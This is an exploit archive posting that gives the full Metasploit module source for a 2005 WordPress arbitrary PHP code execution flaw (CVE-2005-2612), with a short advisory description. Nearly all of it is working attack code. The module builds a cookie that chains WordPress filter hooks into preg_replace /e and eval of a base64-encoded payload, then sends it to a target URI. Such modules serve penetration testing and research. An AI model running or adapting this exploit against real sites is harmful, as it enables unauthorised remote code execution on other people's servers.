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WordPress cache_lastpostdate Arbitrary Code Execution

WordPress cache_lastpostdate Arbitrary Code Execution
Posted Oct 30, 2009
Authored by str0ke

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software. This vulnerability is only present when the PHP 'register_globals' option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2005-2612
MD5 | f0c5a85b146ef22ce67312366495cb42

WordPress cache_lastpostdate Arbitrary Code Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software. This vulnerability is only present when the PHP 'register_globals'
option is enabled (common for hosting providers). All versions of WordPress prior to
1.5.1.3 are affected.
},
'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-2612'],
['OSVDB', '18672'],
['BID', '14533'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 512,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 9 2005',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end

def exploit

enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
data =
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

# Trigger the command execution bug
res = send_request_cgi({
'uri' => datastore['URI'],
'cookie' => data
}, 25)

if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end

end

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